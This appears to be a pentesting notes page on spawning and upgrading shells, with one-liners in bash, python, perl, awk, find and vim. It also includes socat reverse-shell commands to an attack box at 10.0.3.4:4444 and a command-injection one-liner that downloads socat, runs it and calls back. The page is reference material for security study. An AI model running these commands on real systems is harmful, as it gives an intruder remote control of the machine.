title: Spawn a shell author: amandaguglieri draft: false TableOfContents: true tags: - pentesting - terminal - shells

Spawn a shell

Webshell is a script written in a language that is executed by a server. Web shell are not fully interactive.

Resources for upgrading simple shells

Sidenote: Also, you can generate a webshell by using msfvenom

Clasification of shells

On a Linux system, the shell is a program that takes input from the user via the keyboard and passes these commands to the operating system to perform a specific function.

There are three main types of shell connections:

Shell Type	Description
Reverse shell	Initiates a connection back to a "listener" on our attack box.
Bind shells	"Binds" to a specific port on the target host and waits for a connection from our attack box.
Web shells	Runs operating system commands via the web browser, typically not interactive or semi-interactive. It can also be used to run single commands (i.e., leveraging a file upload vulnerability and uploading a PHP script to run a single command.

Spawn a shell

bash

# Upgrade shell with running these commands all at once:

SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm

bash -i

# Using echo
echo 'os.system('/bin/bash')'

python

 # using python for a pseudo terminal
python -c 'import os; os.system("/bin/sh")'

 # using python for a pseudo terminal
python -c 'import pty; pty.spawn("/bin/bash")'

python3 -c "import pty;pty.spawn('/bin/bash')"

ssh

/bin/sh -i

perl

perl -e 'exec "/bin/sh";'

perl:  exec "/bin/sh";

ruby

ruby:  exec "/bin/sh";

lua

lua: os.execute(‘/bin/sh’)

socat

# Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

If socat isn’t installed, there exists other options. There are standalone binaries that can be downloaded from this Github repo: https://github.com/andrew-d/static-binaries

With a command injection vuln, it’s possible to download the correct architecture socat binary to a writable directoy, chmod it, then execute a reverse shell in one line:

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

On Kali, run:

socat file:`tty`,raw,echo=0 tcp-listen:4444

and you’ll catch a fully interactive TTY session. It supports tab-completion, SIGINT/SIGSTP support, vim, up arrow history, etc. It’s a full terminal.

stty options

# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'

# Ctrl-Z


# In Kali
$ stty raw -echo
$ fg

# In reverse shell
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>

# In one line:
reset; export SHELL=bash; export TERM=xterm-256color; stty rows <num> columns <cols>

msfvenom

You can generate a webshell by using msfvenom

# List payloads
msfvenom --list payloads | grep x64 | grep linux | grep reverse

Also msfvenom can use metasploit payloads under “cmd/unix” to generate one-liner bind or reverse shells. List options with:

msfvenom -l payloads | grep "cmd/unix" | awk '{print $1}'

awk

awk 'BEGIN {system("/bin/sh")}'

find

find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
# This use of the find command is searching for any file listed after the -name option, then it executes awk (/bin/awk) and runs the same script we discussed in the awk section to execute a shell interpreter.

find . -exec /bin/sh \; -quit
# This use of the find command uses the execute option (-exec) to initiate the shell interpreter directly. If find can't find the specified file, then no shell will be attained.

VIM

vim -c ':!/bin/sh'

VIM escape:

vim
:set shell=/bin/sh
:shell

Last update: 2024-04-20
Created: January 26, 2023 23:15:59